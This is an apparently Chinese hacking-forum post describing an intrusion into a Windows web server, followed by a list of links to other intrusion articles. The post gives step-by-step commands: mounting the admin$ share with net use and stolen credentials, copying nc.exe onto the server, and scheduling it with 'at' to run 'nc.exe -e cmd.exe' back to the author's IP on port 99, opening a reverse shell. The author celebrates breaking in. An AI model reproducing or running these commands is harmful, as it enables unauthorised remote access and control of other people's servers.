|
[组图]内网数据库攻击例子(图)
利用IPC漏洞（在这台机器上对WEB服务器竟然能成功！哈哈）
1.net use \\WEB服务器\admin$ password /user: username
其中username,password为连接远程主机时提供的用户名与密码
2.copy x:\nc.exe \\WEB服务器\admin$
拷贝NC到WEB服务器上
3.net time \\远程主机名
显示WEB服务器当前的时间假如为09：12
3.at \\WEB服务器 09：14 nc.exe –e cmd.exe218.***.***.165 99
在09：14分WEB服务器自动NC反向链接偶的机器的99端口。如图8 
2分钟过去，终于成功了，终于进入到哪台固若金汤的WEB服务器里面了！成功后界面如图9 
其中在反弹的SHELL中利用XYZCMD。EXE这个工具进行在次登录时，没有成功，也就是SHELL中在出SHELL时没有成功，看来是不支持数据的二交互。图中同现的网址已做处理，如有雷同，纯属巧合。希望本方法对大家有所帮助，不管是攻还是防！！
| 一次通过 Oracle8i 入侵系统之旅 | 03-21 |
| SA权限下的思路变通 | 03-18 |
| 有防火墙的网站整个入侵过程 | 01-21 |
| 绕过Xplog70.dll玩入侵 | 01-14 |
| 一步一步的入侵----only for you | 01-09 |
| 入侵中快速获得Web根目录的技巧 | 01-09 |
| 记一次对RedHat Linux系统的安全 | 01-08 |
| 介绍几个小工具和入侵的技法(2) | 01-08 |
| 有防火墙的网站整个入侵过程 | 01-04 |
| 拐弯入侵虚拟主机 | 01-04 |
| 由一次入侵实例看虚拟主机系统的 | 01-02 |
| 解读IDS入侵检测系统术语 | 01-02 |
您现在的位置：